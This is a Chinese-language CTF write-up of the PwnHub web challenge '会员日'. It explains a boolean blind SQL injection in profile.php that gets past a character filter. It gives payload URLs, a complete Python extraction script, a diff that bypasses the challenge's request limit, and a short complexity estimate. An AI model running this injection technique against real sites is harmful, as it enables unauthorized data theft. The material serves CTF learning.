Ethical HackersCTF

[PwnHub](Web)会员日

2017-10-31  本文已影响377人  王一航

  1. admin/admin 登录可以发现提示 , 下载源码
image.png
  1. 白盒审计 , 发现 profile.php 的 id 参数可以注入 :
image.png

但是这里是有限制的 :

if(preg_match("#\.#",$id) or preg_match("#_#",$id) or preg_match("#\(#",$id) or preg_match("#\)#",$id)){
    die('<h3>danger character dectected</h3>');
}

不能使用 '_' : 也就是说不能使用 information_schema
不能使用括号 , 也就是不能用函数
那么明注应该是不可以了 , 所以考虑基于 Boolean 的盲注

# 字符串 'a' 小于 'admin'
# 因此显示 'a' 的结果
http://54.223.59.178/profile.php?id=2%20union%20select%201,0x61,3,4,5%20from%20users%20order%20by%202
# 字符串 'b' 大于 'admin'
# 因此显示 'admin' 的结果
http://54.223.59.178/profile.php?id=2%20union%20select%201,0x61,3,4,5%20from%20users%20order%20by%202

可以直接盲注 , 只要不出现括号和下划线即可
但是需要注意的两点 :

1. profile.php 访问 140 次后当前用户的兑换码就会被重置 , 因此要将盲注脚本控制在 140 次之内
2. 兑换码由 '1234567890abcdefghijklmnopqrstuvwxyz' 打乱顺序组成 , 而不是生成的随机字符串 , 也就是说 , 其中不会有重复 , 这一点可以用来减少盲注的猜解次数 , 最后事实证明 , 大概最短的猜解次数为 139 次 , 真心佩服出题人 , 精准打击

Exploit

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Author : WangYihang <wangyihanger@gmail.com>
# Comment : 由于每次兑换码不同 , 因此有可能出现 140 次跑不出来的情况 , 所以需要多跑几次

import requests

session = requests.Session()

def login(username, password):
    url = "http://54.223.59.178/index.php"
    session.post(url, data={"username": username, "password": password})

def check(url):
    # print "[+] %s" % (url)
    content = session.get(url).content
    if "尝试次数过多" in content:
        exit(1)
        pass
    else:
        print "[+] 访问次数 : %d" % (int(content.split("您已经访问")[1].split("次")[0]))
    return "This is admin page" in content

chars = "0123456789abcdefghijklmnopqrstuvwxyz"

def exploit(length):
    global chars
    data = ""
    for i in range(length):
        LEFT = 0
        RIGHT = len(chars)
        P = (LEFT + RIGHT) / 2
        while abs(LEFT - RIGHT) > 1:
            # print "[%d]>>>>[%d]<<<<[%d]" % (LEFT, P, RIGHT)
            guess = "%02x" % ord(chars[P])
            # url = '''http://54.223.59.178/profile.php?id=2%20union%20select%201,0x''' + data.encode("hex").replace("0x", "") + guess + ''',3,4,5%20from%20users%20order%20by%202'''
            url = '''http://54.223.59.178/profile.php?id=2%20union%20select%201,2,3,0x''' + \
                data.encode("hex").replace(
                    "0x", "") + guess + ''',5%20from%20users%20where user=0x61646d696e order%20by%204'''
            if check(url):
                RIGHT = P
            else:
                LEFT = P
            P = (LEFT + RIGHT) / 2
        if len(chars) == 0:
            return
        ch = chars[P]
        data += ch
        chars = chars.replace(ch, "") # 根据不重复的特性  , 将已经得到的字符删除 , 增加命中几率
        print "[+] Data (%d) : %s" % (len(data), data)

def main():
    # login("lilac", "lilac")
    login("admin", "admin")
    exploit(0x40)

if __name__ == "__main__":
    main()

备注 :

有大佬说 , 这里的 140 次的限制是可以绕过的
可以用别的用户名来构造盲注脚本

测试了一下发现确实可以 , 唉 , 思路还有有点僵化

image.png

这里判断 session 中的用户的 count , 然后修改的该用户的兑换码
所以我们只需要控制 id 即可控制得到的兑换码是哪个用户的 , 例如 id=2 为 admin
所以我们只需要新注册一个用户 , 登录并这个用户注出别的用户的数据即可
可以将上面 exploit 稍作修改即可 , 以下为 diff 文件

17c17
<         exit(1)
---
>         # exit(1)
50,51c50,51
<     # login("lilac", "lilac")
<     login("admin", "admin")
---
>     login("lilac", "lilac")
>     # login("admin", "admin")

后记 :
想了想为什么要取 140 次 ?
应该是和二分查找的时间复杂度有关

http://blog.csdn.net/frances_han/article/details/6458067

我们知道二分查找的时间复杂度为 log 以 2 为底 , n 的对数 , 其中 n 为搜索空间的度量
在这里也就是这个字符集 :

1234567890abcdefghijklmnopqrstuvwxyz

每次查找都可以确定能找到一个字符
那么每次字符集的数量就减少 1
那么最终的平均尝试次数可以根据如下公式 :

$$\sum_{i=1}^n log_2(n)$$

好吧 , 简书不支持 LaTex

image.png

So talk is cheap, show me the code

In [1]: import math

In [2]: def times(length):
   ...:     return (math.log(length, 2)))
   ...: 

In [3]: result = 0
   ...: for i in range(36, 1, -1):
   ...:     result += times(i)
   ...:     print "[+] %f" % (result)
   ...:     
[+] 5.169925
[+] 10.299208
[+] 15.386671
[+] 20.431065
[+] 25.431065
[+] 30.385261
[+] 35.292152
[+] 40.150133
[+] 44.957488
[+] 49.712375
[+] 54.412815
[+] 59.056671
[+] 63.641634
[+] 68.165196
[+] 72.624627
[+] 77.016945
[+] 81.338873
[+] 85.586800
[+] 89.756725
[+] 93.844188
[+] 97.844188
[+] 101.751079
[+] 105.558434
[+] 109.258873
[+] 112.843836
[+] 116.303268
[+] 119.625196
[+] 122.795121
[+] 125.795121
[+] 128.602476
[+] 131.187438
[+] 133.509366
[+] 135.509366
[+] 137.094329
[+] 138.094329
上一篇下一篇

猜你喜欢

热点阅读